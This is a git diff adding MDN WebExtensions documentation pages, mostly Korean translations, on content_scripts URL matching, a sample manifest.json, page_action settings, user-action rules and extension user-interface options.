+   <td><code><a id="match_about_blank" name="match_about_blank" style="">match_about_blank</a></code></td>
+   <td><code>Boolean</code></td>
+   <td>
+    <p>Insert the content scripts into pages whose URL is "about:blank" or "about:srcdoc", if the URL of the page that opened or created this page <a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts#Matching_URL_patterns">matches the patterns</a> specified in the rest of the <code>content_scripts</code> key.</p>
+
+    <p>This is especially useful to run scripts in empty iframes , whose URL is "about:blank". To do this you should also set the <code>all_frames</code> key.</p>
+
+    <p>For example, suppose you have a <code>content_scripts</code> key like this:</p>
+
+    <pre class="brush: json no-line-numbers">
+  "content_scripts": [
+    {
+      "js": ["my-script.js"],
+      "matches": ["https://example.org/"],
+      "match_about_blank": true,
+      "all_frames": true
+    }
+  ]</pre>
+
+    <p>If the user loads https://example.org/, and this page embeds an empty iframe, then "my-script.js" will be loaded into the iframe.</p>
+
+    <p><code>match_about_blank</code> is supported in Firefox from version 52. Note that in Firefox, content scripts won't be injected into empty iframes at <code>"document_start"</code> even if you specify that value in <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts#run_at">run_at</a></code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="matches" name="matches" style=""><code>matches</code></a></td>
+   <td><code>Array</code></td>
+   <td>
+    <p>An array of <a href="/en-US/Add-ons/WebExtensions/match_patterns">match patterns</a>. See <a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts#Matching_URL_patterns">Matching URL patterns</a> below.</p>
+
+    <p>This is the only mandatory key.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="run_at" name="run_at" style=""><code>run_at</code></a></td>
+   <td><code>String</code></td>
+   <td>
+    <p>This option determines when the scripts specified in <code><a href="#js">js</a></code> are injected. You can supply one of three strings here, each of which identifies a state in the process of loading a document. The states directly correspond to {{domxref("Document/readyState", "Document.readyState")}}:</p>
+
+    <ul>
+     <li>"<code>document_start</code>": corresponds to <code>loading</code>. The DOM is still loading.</li>
+     <li>"<code>document_end</code>": corresponds to <code>interactive</code>. The DOM has finished loading, but resources such as scripts and images may still be loading.</li>
+     <li>"<code>document_idle</code>": corresponds to <code>complete</code>. The document and all its resources have finished loading.</li>
+    </ul>
+
+    <p>The default value is <code>"document_idle"</code>.</p>
+
+    <p>In all cases, files in <code><a href="#js">js</a></code> are injected after files in <code><a href="#css">css</a></code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Matching_URL_patterns">Matching URL patterns</h2>
+
+<p>The <code>"content_scripts"</code> key attaches content scripts to documents based on URL matching: if the document's URL matches the specification in the key, then the script will be attached. There are four properties inside <code>"content_scripts"</code> that you can use for this specification:</p>
+
+<ul>
+ <li><code>matches</code>: an array of <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">match patterns</a>.</li>
+ <li><code>exclude_matches:</code> an array of <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">match patterns</a>.</li>
+ <li><code>include_globs</code>: an array of <a href="#globs">globs</a>.</li>
+ <li><code>exclude_globs:</code> an array of <a href="#globs">globs</a>.</li>
+</ul>
+
+<p>To match one of these properties, a URL must match at least one of the items in its array. For example, given a property like:</p>
+
+<pre class="brush: json  no-line-numbers">"matches": ["*://*.example.org/*", "*://*.example.com/*"]</pre>
+
+<p>Both "http://example.org/" and "http://example.com/" will match.</p>
+
+<p>Since <code>matches</code> is the only mandatory key, the other three keys are used to limit further the URLs that match. To match the key as a whole, a URL must:</p>
+
+<ol>
+ <li>match the <code>matches</code> property</li>
+ <li>AND match the <code>include_globs</code> property, if present</li>
+ <li>AND NOT match the <code>exclude_matches</code> property, if present</li>
+ <li>AND NOT match the <code>exclude_globs</code> property, if present</li>
+</ol>
+
+<h3 id="globs">globs</h3>
+
+<p>A glob is just a string that may contain wildcards. There are two types of wildcard, and you can combine them in the same glob:</p>
+
+<ul>
+ <li>"*" matches zero or more characters</li>
+ <li>"?" matches exactly one character.</li>
+</ul>
+
+<p>For example: <code>"*na?i"</code> would match <code>"illuminati"</code> and <code>"annunaki"</code>, but not <code>"sagnarelli"</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: json  no-line-numbers">"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["borderify.js"]
+  }
+]</pre>
+
+<p>This injects a single content script "borderify.js" into all pages under "mozilla.org" or any of its subdomains, whether served over HTTP or HTTPS.</p>
+
+<pre class="brush: json  no-line-numbers">  "content_scripts": [
+    {
+      "exclude_matches": ["*://developer.mozilla.org/*"],
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["jquery.js", "borderify.js"]
+    }
+  ]</pre>
+
+<p>This injects two content scripts into all pages under "mozilla.org" or any of its subdomains except "developer.mozilla.org", whether served over HTTP or HTTPS.</p>
+
+<p>The content scripts see the same view of the DOM and are injected in the order they appear in the array, so "borderify.js" can see global variables added by "jquery.js".</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.manifest.content_scripts")}}</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/index.html b/files/ko/mozilla/add-ons/webextensions/manifest.json/index.html
new file mode 100644
index 0000000000..3d4776f047
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/index.html
@@ -0,0 +1,101 @@
+---
+title: manifest.json
+slug: Mozilla/Add-ons/WebExtensions/manifest.json
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json
+---
+<p>{{AddonSidebar}}</p>
+
+<p>manifest.json 파일은 json 포맷 파일로서, 모든 웹 익스텐션이 포함하고 있어야 하는 파일입니다. </p>
+
+<p>manifest.json을 사용함으로써, 당신은 당신의 익스텐션의 이름, 버젼과 같은 기본 정보를 명시하며, 또한 당신의 익스텐션의 기능, 예를 들어 기본 스크립트, 내용 스크립트, 브라우져 활동 등과 같은 측면을 명시합니다. </p>
+
+<p>manifest.json에 지원되는 키들은 아래와 같습니다.</p>
+
+<p>{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</p>
+
+<div class="twocolumns"> </div>
+
+<p><code>"manifest_version"</code>, <code>"version"</code>, <code>"name" 키들은 반드시 있어야 합니다. </code></p>
+
+<p>"_locales"  경로가 있다면, <code>"default_locale"은 반드시 있어야 하며, </code>"_locales"  경로가 없다면, <code>"default_locale"은 없어야 합니다. </code></p>
+
+<p><code>"applications"는 구글 크롬에서는 지원되지 않고, 파이어폭스 48 이전 버젼에는 의무적으로 있어야 합니다. </code></p>
+
+<p>간단한  manifest.json 구문은 다음과 같습니다:</p>
+
+<pre class="brush: json">{
+
+    "applications": {
+      "gecko": {
+        "id": "addon@example.com",
+          "strict_min_version": "42.0",
+          "strict_max_version": "50.*",
+          "update_url": "https://example.com/updates.json"
+      }
+    },
+
+    "background": {
+        "scripts": ["jquery.js", "my-background.js"],
+        "page": "my-background.html"
+    },
+
+    "browser_action": {
+      "default_icon": {
+        "19": "button/geo-19.png",
+        "38": "button/geo-38.png"
+      },
+      "default_title": "Whereami?",
+      "default_popup": "popup/geo.html"
+    },
+
+    "commands": {
+      "toggle-feature": {
+        "suggested_key": {
+          "default": "Ctrl+Shift+Y",
+          "linux": "Ctrl+Shift+U"
+        },
+        "description": "Send a 'toggle-feature' event"
+      }
+    },
+
+    "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
+
+    "content_scripts": [
+      {
+        "exclude_matches": ["*://developer.mozilla.org/*"],
+        "matches": ["*://*.mozilla.org/*"],
+        "js": ["borderify.js"]
+      }
+    ],
+
+    "default_locale": "en",
+
+    "description": "...",
+
+    "icons": {
+      "48": "icon.png",
+      "96": "icon@2x.png"
+    },
+
+    "manifest_version": 2,
+
+    "name": "...",
+
+    "page_action": {
+      "default_icon": {
+        "19": "button/geo-19.png",
+        "38": "button/geo-38.png"
+      },
+      "default_title": "Whereami?",
+      "default_popup": "popup/geo.html"
+    },
+
+    "permissions": ["webNavigation"],
+
+    "version": "0.1",
+
+    "web_accessible_resources": ["images/my-image.png"]
+
+}</pre>
+
+<p> </p>
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html b/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html
new file mode 100644
index 0000000000..9a4b85ea74
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html
@@ -0,0 +1,200 @@
+---
+title: page_action
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/page_action
+tags:
+  - 애드온
+  - 웹확장
+  - 확장
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/page_action
+---
+<div>{{AddonSidebar}}</div>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 30%;">Type</th>
+   <td><code>Object</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"page_action": {
+  "browser_style": true,
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?",
+  "default_popup": "popup/geo.html"
+}</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>페이지 액션은 브라우저의 URL 바 안에 추가되는 아이콘이다.</p>
+
+<p>필요하면 HTML, CSS, 그리고 자바스크립트를 사용하는 팝업을 띄울 수 있다.</p>
+
+<p>팝업이 있으면, 아이콘을 클릭할 때 팝업이 열리고, 팝업 안의 자바스크립트가 사용자와의 상호작업을 처리할 수 있다. 팝업이 없으면, 아이콘을 클릭할 때 확장의 <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_pages">background 스크립트</a>에 click 이벤트가 전달된다.</p>
+
+<p><a href="/en-US/Add-ons/WebExtensions/API/pageAction">pageAction API</a>을 사용하면 프로그램적으로 페이지 액션을 만들고 관리할 수 있다.</p>
+
+<p>페이지 액션은 브라우저 액션과 비슷하다. 단지 브라우저 전체가 아니라 특정 웹페이지와만 연관된다는 점이 다르다. 액션의 대상 페이지가 분명하다면 그 페이지에서만 표시되는 페이지 액션을 사용해야 한다. 액션이 모든 페이지를 대상으로 하거나 브라우저 그 자체가 대상이라면 브라우저 액션을 사용하라.</p>
+
+<p>브라우저 액션은 기본이 표시되는 것이지만 페이지 액션은 기본적으로 숨겨진다. 탭에 <code><a href="/en-US/Add-ons/WebExtensions/API/pageAction/show">pageAction.show()</a></code>를 호출하거나, <code>show_matches</code> 속성을 줘야 표시할 수 있다.</p>
+
+<h2 id="문법">문법</h2>
+
+<p><code>page_action</code>은 세 가지 속성들 중에 몇 가지를 가지는 객체다(역주: 파이어폭스 외의 브라우저에서도 지원되는 속성은 세가지 뿐이다). 모두 선택사항이다:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles">browser_style</a></code></td>
+   <td><code>Boolean</code></td>
+   <td>
+    <p>선택, 기본값은 <code>false</code>.</p>
+
+    <p>사용하면, 팝업과 브라우저의 UI와 <code>browser_style</code>을 사용하는 다른 확장의 모습이 일관되게 보이게 하는 스타일시트를 포함한다. 기본값은 <code>false</code>지만 팝업이 브라우저의 다른 UI와 일관되게 하려면, 스타일시트가 포함될 수 있도록 <code>true</code>로 하는 것이 권장한다.</p>
+
+    <p>파이어폭스에서, 이 스타일시트는 chrome://browser/content/extension.css에서 볼 수 있다. OS X에서는 chrome://browser/content/extension-mac.css다.</p>
+
+    <p><a href="https://firefoxux.github.io/StyleGuide/#/controls">파이어폭스 스타일 가이드</a>는 팝업의 요소가 특정 스타일을 갖게하는 클래스들에 대해 설명한다.</p>
+
+    <p><a href="https://github.com/mdn/webextensions-examples/tree/master/latest-download">최종-다운로드</a> 예제 확장 프로그램은 팝업에 <code>browser_style</code>을 사용한다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>default_icon</code></td>
+   <td><code>Object</code> or <code>String</code></td>
+   <td>
+    <p>액션이 사용하는 아이콘.</p>
+
+    <p>권장은 19x19 픽셀과 38x38 픽셀 두 종류가 제공되는 것이다. 아래처럼 각각 "19" 와 "38"이라는 속성 이름을 사용한다:</p>
+
+    <pre class="brush: json no-line-numbers">
+    "default_icon": {
+      "19": "geo-19.png",
+      "38": "geo-38.png"
+    }</pre>
+
+    <p>이렇게 하면 화면 해상도에 따라 적절한 크기를 사용하게 된다.</p>
+
+    <p>아래처럼 하나의 문자열로 할 수도 있다:</p>
+
+    <pre class="brush: json no-line-numbers">
+"default_icon": "geo.png"</pre>
+
+    <p>이렇게 하면 툴바에 맞게 크기가 조정될 것이다. 흐릿해질 수 있다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>default_popup</code></td>
+   <td><code>String</code></td>
+   <td>
+    <p>팝업으로 띄울 HTML 파일의 경로.</p>
+
+    <p>HTML 파일은 일반 웹 페이지처럼 <code><a href="/en-US/docs/Web/HTML/Element/link">&lt;link&gt;</a></code>와 <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> 요소를 사용해서 CSS와 자바스크립트를 포함할 수 있다. 하지만 <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> 사이에 코드를 직접 포함하면 Content Violation Policy 에러가 발생하므로, <code><a href="/en-US/docs/Web/HTML/Element/script">src</a></code> 속성으로 분리된 스크립트 파일을 올려야 한다.</p>
+
+    <p>보통의 웹페이지와 달리, 팝업에서 실행되는 자바스크립트는 모든 <a href="/en-US/Add-ons/WebExtensions/API">WebExtension API</a>를 사용할 수 있다(당연히 필요한 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a>을 가져야 한다).</p>
+
+    <p>이것은 <a href="/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json">지역화 가능 속성</a>이다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>default_title</code></td>
+   <td><code>String</code></td>
+   <td>
+    <p>아이콘에 마우스가 올려지면 표시되는 툴팁.</p>
+
+    <p>이것은 <a href="/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json">지역화 가능 속성</a>이다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>hide_matches</code></td>
+   <td><code>Array</code> of <code>Match Pattern</code> except <code>&lt;all_urls&gt;</code></td>
+   <td>
+    <p>주어진 <a href="/en-US/Add-ons/WebExtensions/match_patterns">선별식</a>에 맞는 URL에 대해 페이지 액션을 숨긴다.</p>
+
+    <p>하지만 페이지 액션은 기본적으로 숨겨지고 <code>show_matches</code>와 맞아야만 보이기 때문에, <code>반드시 show_matches</code>가 있어야 의미가 있다. 이 값은 <code>show_matches</code> 일부를 제외하는 역할을 한다. 예를 들어 값이 다음과 같다면:</p>
+
+    <pre class="brush: json">
+"page_action": {
+  "show_matches": ["https://*.mozilla.org/*"],
+  "hide_matches": ["https://developer.mozilla.org/*"]
+}</pre>
+
+    <p>기본은 "mozilla.org"인 모든 HTTPS URL에 대해 페이지 액션이 표시되는 것이지만, "developer.mozilla.org"인 경우는 제외라 표시되지 않는다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>show_matches</code></td>
+   <td><code>Array</code> of <code>Match Pattern</code></td>
+   <td>
+    <p>주어진 패턴에 일치하는 URL에 대해 페이지 액션을 보인다.</p>
+
+    <p><code>hide_matches</code>도 보기.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>pinned</code></td>
+   <td><code>Boolean</code></td>
+   <td>
+    <p>선택, 기본값은 <code>true</code>.</p>
+
+    <p>주소창에 페이지 액션이 기본적으로 나타나는지를 결정한다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: json no-line-numbers">"page_action": {
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  }
+}</pre>
+
+<p>그냥 아이콘만 있는 페이지 액션으로 아이콘을 누르면 확장의 background 스크립트는 아래처럼 해서 click 이벤트를 받을 수 있다:</p>
+
+<pre class="brush: js no-line-numbers"> browser.pageAction.onClicked.addListener(handleClick);</pre>
+
+<pre class="brush: json no-line-numbers">"page_action": {
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?",
+  "default_popup": "popup/geo.html"
+}</pre>
+
+<p>아이콘, 제목, 팝업이 있는 페이지 액션으로 아이콘을 누르면 팝업이 보일 것이다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("webextensions.manifest.page_action")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles">Browser styles</a></li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/webextensions/prerequisites/index.html b/files/ko/mozilla/add-ons/webextensions/prerequisites/index.html
new file mode 100644
index 0000000000..ffe3aaf677
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/prerequisites/index.html
@@ -0,0 +1,10 @@
+---
+title: Prerequisites
+slug: Mozilla/Add-ons/WebExtensions/Prerequisites
+translation_of: Mozilla/Add-ons/WebExtensions/Prerequisites
+---
+<div>{{AddonSidebar}}</div>
+
+<div>파이어폭스 45 이후 버젼만 있으면 됩니다. </div>
+
+<div>시작하려면 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first WebExtension</a> 을 보세요. </div>
diff --git a/files/ko/mozilla/add-ons/webextensions/user_actions/index.html b/files/ko/mozilla/add-ons/webextensions/user_actions/index.html
new file mode 100644
index 0000000000..84a7210eef
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/user_actions/index.html
@@ -0,0 +1,43 @@
+---
+title: 사용자 행동
+slug: Mozilla/Add-ons/WebExtensions/User_actions
+translation_of: Mozilla/Add-ons/WebExtensions/User_actions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Some WebExtension APIs perform functions that are generally performed as a result of a user action. For example:</p>
+
+<ul>
+ <li>a browser action with a popup will display the popup when the user clicks it, but there's also a {{WebExtAPIRef("browserAction.openPopup")}} API enabling an extension to open the popup programmatically.</li>
+ <li>if an extension adds a sidebar, it is typically opened by the user via some part of the browser's built-in user interface, such as the View/Sidebar menu. But there's also a {{WebExtAPIRef("sidebarAction.open")}} API enabling an extension to open their sidebar programmatically.</li>
+</ul>
+
+<p>To follow the principle of "no surprises", APIs like this can only be called from inside the handler for a user action. User actions include the following:</p>
+
+<ul>
+ <li>Clicking the extension's browser action or page action.</li>
+ <li>Selecting a context menu item defined by the extension.</li>
+ <li>Activating a keyboard shortcut defined by the extension (this only treated as a user action from Firefox 63 onwards).</li>
+ <li>Clicking a button in a page bundled with the extension.</li>
+</ul>
+
+<p>For example:</p>
+
+<pre class="brush: js">function handleClick() {
+  browser.sidebarAction.open();
+}
+
+browser.browserAction.onClicked.addListener(handleClick);</pre>
+
+<p>Note that user actions in normal web pages are not treated as user actions for this purpose. For example, if a user clicks a button in a normal web page, and a content script has added a click handler for that button and in that handler sends a message to the extension's background page, then the background page message handler is not considered to be handling a user action.</p>
+
+<p>Also, if a user input handler waits on a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>, then its status as a user input handler is lost. For example:</p>
+
+<pre class="brush: js">async function handleClick() {
+  let result = await someAsyncFunction();
+
+  // this will fail, because the handler lost its "user action handler" status
+  browser.sidebarAction.open();
+}
+
+browser.browserAction.onClicked.addListener(handleClick);</pre>
diff --git a/files/ko/mozilla/add-ons/webextensions/user_interface/index.html b/files/ko/mozilla/add-ons/webextensions/user_interface/index.html
new file mode 100644
index 0000000000..e9041bc4dc
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/user_interface/index.html
@@ -0,0 +1,96 @@
+---
+title: User interface
+slug: Mozilla/Add-ons/WebExtensions/user_interface
+tags:
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - User Interface
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/user_interface
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Extensions that use WebExtension APIs are provided with several user interface options so that their functionality can be made available to the user. A summary of those options is provided below, with a more detailed introduction to each user interface option in this section.</p>
+
+<div class="note">
+<p>For advice on using these UI components to create a great user experience in your extension, please see the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a> article.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">UI option</th>
+   <th scope="col">Description</th>
+   <th scope="col" style="width: 350px;">Example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a> (browser action)</td>
+   <td>A button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.</td>
+   <td><img alt="Example showing a toolbar button (browser action)." src="https://mdn.mozillademos.org/files/15751/browser-action.png" style="height: 364px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td>Toolbar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
+   <td>A popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.</td>
+   <td><img alt="Example of the pop-up on a toolbar button" src="https://mdn.mozillademos.org/files/15753/popup-shadow.png" style="height: 624px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a> (page action)</td>
+   <td>A button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.</td>
+   <td><img alt="Example showing an address bar button (page action) " src="https://mdn.mozillademos.org/files/15745/address_bar_button.png" style="height: 348px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td>Address bar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
+   <td>A popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.</td>
+   <td><img alt="Example of a popup on the address bar button" src="https://mdn.mozillademos.org/files/15747/page_action_popup.png" style="height: 524px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu item</a></td>
+   <td>Menu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.</td>
+   <td><img alt="Example of content menu items added by a WebExtension, from the context-menu-demo example" src="https://mdn.mozillademos.org/files/15756/context_menu_example.png" style="height: 942px; width: 864px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebar</a></td>
+   <td>
+    <p dir="ltr">An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.</p>
+   </td>
+   <td><img alt="Example of a sidebar" src="https://mdn.mozillademos.org/files/15755/bookmarks-sidebar.png" style="height: 846px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></td>
+   <td>A page that enables you to define preferences for your extension that your users can change. The user can access this page from the browser's add-ons manager.</td>
+   <td><img alt="Example showing the options page content added in the favorite colors example." src="https://mdn.mozillademos.org/files/15748/options_page.png"></td>
+  </tr>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Extension_pages">Extension page</a></td>
+   <td>Use web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.</td>
+   <td><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15752/bundled_page_as_panel_small.png" style="height: 432px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notification</a></td>
+   <td>Transient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).</td>
+   <td><img alt="Example of an extension triggered system notification" src="https://mdn.mozillademos.org/files/15754/notify-shadowed.png" style="height: 294px; width: 780px;"></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestion</a></td>
+   <td>Offer custom address bar suggestions when the user enters a keyword.</td>
+   <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15749/omnibox_example_small.png" style="height: 464px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panel</a></td>
+   <td>A tab with an associated HTML document that displays in the browser's developer tools.</td>
+   <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15746/developer_panel_tab.png" style="height: 224px; width: 700px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The following how-to guides provide step-by-step guidance to creating some of these user interface options:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Browser_styles">Browser styles</a></li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html b/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html
new file mode 100644
index 0000000000..568d5feb97
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html
@@ -0,0 +1,98 @@
+---
+title: Address bar button
+slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
+tags:
+  - 사용자 인터페이스
+  - 웹확장
+translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>주소줄에 추가되는 버튼으로 사용자가 확장 프로그램과 상호작용하는 일명 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">페이지 </a><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">액션</a>을 말한다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15745/address_bar_button.png" style="display: block; height: 174px; margin-left: auto; margin-right: auto; width: 350px;"></p>
+
+<h2 id="페이지_액션과_브라우저_액션">페이지 액션과 브라우저 액션</h2>
+
+<p>주소줄 버튼(또는 페이지 액션)은 툴바 버튼(또는 브라우저 액션)과 아주 비슷하다.</p>
+
+<p>차이점은:</p>
+
+<ul>
+ <li>위치:
+  <ul>
+   <li>페이지 액션은 브라우저의 주소줄에 표시된다.</li>
+   <li>브라우저 액션은 주소줄 밖 브라우저의 툴바에 표시된다.</li>
+  </ul>
+ </li>
+ <li>보임:
+  <ul>
+   <li>페이지 액션은 평소에는 보통 숨겨지고(show_matches와 hide_matches <a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">매니페스트 항목</a>으로 바꿀 수 있다),  해당 탭에 보이거나 숨길 때는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/PageAction/show" title="Shows the page action for a given tab. The page action is shown whenever the given tab is the active tab."><code>pageAction.show()</code></a>와 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/PageAction/hide" title="Hides the page action for a given tab."><code>pageAction.hide()</code></a> 를 호출한다.</li>
+   <li>브라우저 액션은 항상 보인다.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>하고자 하는 동작이 현재 페이지에 대한 것이면 페이지 액션을 사용하고, 전체 또는 여러 페이지가 대상이라면 브라우저 액션을 사용한다. 예를 들어:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="row">유형</th>
+   <th scope="col">Bookmarks action</th>
+   <th scope="col">Content action</th>
+   <th scope="col">Tabs operation</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">페이지 액션</th>
+   <td>Bookmark this page</td>
+   <td>Reddit enhancement</td>
+   <td>Send tab</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 액션</th>
+   <td>Show all bookmarks</td>
+   <td>Enable ad-blocking</td>
+   <td>Sync all open tabs</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
